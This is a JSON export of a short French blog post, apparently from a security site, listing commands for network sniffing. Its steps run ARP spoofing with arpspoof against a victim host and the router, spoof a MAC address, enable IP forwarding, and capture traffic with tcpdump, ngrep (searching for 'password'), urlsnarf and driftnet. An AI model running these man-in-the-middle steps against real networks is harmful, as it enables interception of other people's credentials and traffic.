{"id":131,"date":"2021-05-23T14:35:26","date_gmt":"2021-05-23T19:35:26","guid":{"rendered":"https:\/\/www.searchevolution.com\/security\/?p=131"},"modified":"2021-05-23T14:36:53","modified_gmt":"2021-05-23T19:36:53","slug":"sniffing-espionnage-du-traffic-reseau","status":"publish","type":"post","link":"https:\/\/www.searchevolution.com\/security\/2021\/05\/23\/sniffing-espionnage-du-traffic-reseau\/","title":{"rendered":"Sniffing (espionnage du traffic r\u00e9seau)"},"content":{"rendered":"

ARP spoofing. arpspoof est inclus dans le package dsniff
\n

# arpspoof -t 10.5.23.42 10.5.23.1  (modifier la table arp de la machine 10.5.23.42)\n# arpspoof -t 10.5.23.1 10.5.23.42  (modifier la table arp du routeur)<\/code><\/pre><\/p>\n
Sur la machine de l’attaquant (pour faire suivre le paquet au bon mac adress, notre table arp n`est pas corrompu). Aussi, obtenir une mac address temporaire
\n
# ifconfig wlan1 down\n# macchanger -r wlan1 \n# ifconfig wlan1 up\n# echo 1 > \/proc\/sys\/net\/ipv4\/ip_forward <\/code><\/pre><\/p>\n
Un outil graphique : ettercap -G<\/code><\/p>\n
Voir le cache ARP
\n# ip neigh<\/code><\/p>\n
Effacer le cache ARP
\n# ip neigh flush all<\/code><\/p>\n
Sniffer le traffic r\u00e9seau:
\n# tcpdump [options] [filters]<\/code><\/p>\n
Quelques options de tcpdump<\/p>\n
    \n
  • -i interface : l’interface ou any<\/strong> pour tous les interfaces<\/li>\n
  • -n : d\u00e9sactive la r\u00e9solution des noms et ports<\/li>\n
  • -A : imprime au format ASCII<\/li>\n
  • -XX : imprime au format hexad\u00e9cimal et ASCII<\/li>\n
  • -w file : enregistre le fichier pcap dans file<\/li>\n
  • -r file : lit le fichier PCAP<\/li>\n<\/ul>\n
    Quelques filtres pour tcpdump<\/p>\n
      \n
    • not arp : pas de paquets ARP<\/li>\n
    • port ftp or port 23 : Seulement les ports 21 ou 23<\/li>\n
    • host 192.168.2.33 : Seulement \u00e0 partir\/vers l’h\u00f4te<\/li>\n
    • net 10.10.10.0\/24 : Seulement \u00e0 partir\/vers les ordinateurs faisant partie du sous-r\u00e9seau<\/li>\n<\/ul>\n
      Capture des paquets sur un ordinateur \u00e9loign\u00e9 via SSH
      \n# ssh 192.168.2.2 tcpdump -w- port not ssh | wireshark -k -i -<\/code><\/p>\n
      Recherche dans du traffic r\u00e9seau
      \n# ngrep password<\/code><\/p>\n
      Montre les requ\u00eates HTTP GET
      \n# urlsnarf<\/code><\/p>\n
      Montre les images transmises
      \n# driftnet<\/code><\/p>\n","protected":false},"excerpt":{"rendered":"
      ARP spoofing. arpspoof est inclus dans le package dsniff # arpspoof -t 10.5.23.42 10.5.23.1  (modifier la table arp de la machine 10.5.23.42) # arpspoof -t 10.5.23.1 10.5.23.42  (modifier la table arp du routeur) Sur la machine de l’attaquant (pour faire suivre le paquet au bon mac adress, notre table arp n`est pas corrompu). Aussi, obtenir une mac address temporaire # ifconfig wlan1 down # macchanger -r wlan1 # ifconfig wlan1 up # echo 1 > \/proc\/sys\/net\/ipv4\/ip_forward Un outil graphique : ettercap -G Voir le cache ARP # ip neigh Effacer le cache ARP # ip neigh flush all Sniffer le traffic r\u00e9seau: <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[15],"tags":[],"yoast_head":"\nSniffing (espionnage du traffic r\u00e9seau) - S\u00e9curiser votre site<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.searchevolution.com\/security\/2021\/05\/23\/sniffing-espionnage-du-traffic-reseau\/\" \/>\n<meta property=\"og:locale\" content=\"fr_CA\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Sniffing (espionnage du traffic r\u00e9seau) - S\u00e9curiser votre site\" \/>\n<meta property=\"og:description\" content=\"ARP spoofing. arpspoof est inclus dans le package dsniff # arpspoof -t 10.5.23.42 10.5.23.1  (modifier la table arp de la machine 10.5.23.42) # arpspoof -t 10.5.23.1 10.5.23.42  (modifier la table arp du routeur) Sur la machine de l’attaquant (pour faire suivre le paquet au bon mac adress, notre table arp n`est pas corrompu). Aussi, obtenir une mac address temporaire # ifconfig wlan1 down # macchanger -r wlan1 # ifconfig wlan1 up # echo 1 > \/proc\/sys\/net\/ipv4\/ip_forward Un outil graphique : ettercap -G Voir le cache ARP # ip neigh Effacer le cache ARP # ip neigh flush all Sniffer le traffic r\u00e9seau:\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.searchevolution.com\/security\/2021\/05\/23\/sniffing-espionnage-du-traffic-reseau\/\" \/>\n<meta property=\"og:site_name\" content=\"S\u00e9curiser votre site\" \/>\n<meta property=\"article:published_time\" content=\"2021-05-23T19:35:26+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2021-05-23T19:36:53+00:00\" \/>\n<meta name=\"author\" content=\"Germain\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u00c9crit par\" \/>\n\t<meta name=\"twitter:data1\" content=\"Germain\" \/>\n\t<meta name=\"twitter:label2\" content=\"Estimation du temps de lecture\" \/>\n\t<meta name=\"twitter:data2\" content=\"1 minute\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.searchevolution.com\/security\/2021\/05\/23\/sniffing-espionnage-du-traffic-reseau\/\",\"url\":\"https:\/\/www.searchevolution.com\/security\/2021\/05\/23\/sniffing-espionnage-du-traffic-reseau\/\",\"name\":\"Sniffing (espionnage du traffic r\u00e9seau) - S\u00e9curiser votre site\",\"isPartOf\":{\"@id\":\"https:\/\/www.searchevolution.com\/security\/#website\"},\"datePublished\":\"2021-05-23T19:35:26+00:00\",\"dateModified\":\"2021-05-23T19:36:53+00:00\",\"author\":{\"@id\":\"https:\/\/www.searchevolution.com\/security\/#\/schema\/person\/e1318e0782dc5a7d6b03471347f881d8\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.searchevolution.com\/security\/2021\/05\/23\/sniffing-espionnage-du-traffic-reseau\/#breadcrumb\"},\"inLanguage\":\"fr-CA\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.searchevolution.com\/security\/2021\/05\/23\/sniffing-espionnage-du-traffic-reseau\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.searchevolution.com\/security\/2021\/05\/23\/sniffing-espionnage-du-traffic-reseau\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.searchevolution.com\/security\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Sniffing (espionnage du traffic r\u00e9seau)\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.searchevolution.com\/security\/#website\",\"url\":\"https:\/\/www.searchevolution.com\/security\/\",\"name\":\"S\u00e9curiser votre site\",\"description\":\"Conna\u00eetre son ennemi\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.searchevolution.com\/security\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"fr-CA\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.searchevolution.com\/security\/#\/schema\/person\/e1318e0782dc5a7d6b03471347f881d8\",\"name\":\"Germain\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"fr-CA\",\"@id\":\"https:\/\/www.searchevolution.com\/security\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/6a203854efbec130dd49471ccbba1abc?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/6a203854efbec130dd49471ccbba1abc?s=96&d=mm&r=g\",\"caption\":\"Germain\"},\"sameAs\":[\"https:\/\/www.searchevolution.com\/security\"],\"url\":\"https:\/\/www.searchevolution.com\/security\/author\/germain\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Sniffing (espionnage du traffic r\u00e9seau) - S\u00e9curiser votre site","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.searchevolution.com\/security\/2021\/05\/23\/sniffing-espionnage-du-traffic-reseau\/","og_locale":"fr_CA","og_type":"article","og_title":"Sniffing (espionnage du traffic r\u00e9seau) - S\u00e9curiser votre site","og_description":"ARP spoofing. arpspoof est inclus dans le package dsniff # arpspoof -t 10.5.23.42 10.5.23.1  (modifier la table arp de la machine 10.5.23.42) # arpspoof -t 10.5.23.1 10.5.23.42  (modifier la table arp du routeur) Sur la machine de l’attaquant (pour faire suivre le paquet au bon mac adress, notre table arp n`est pas corrompu). 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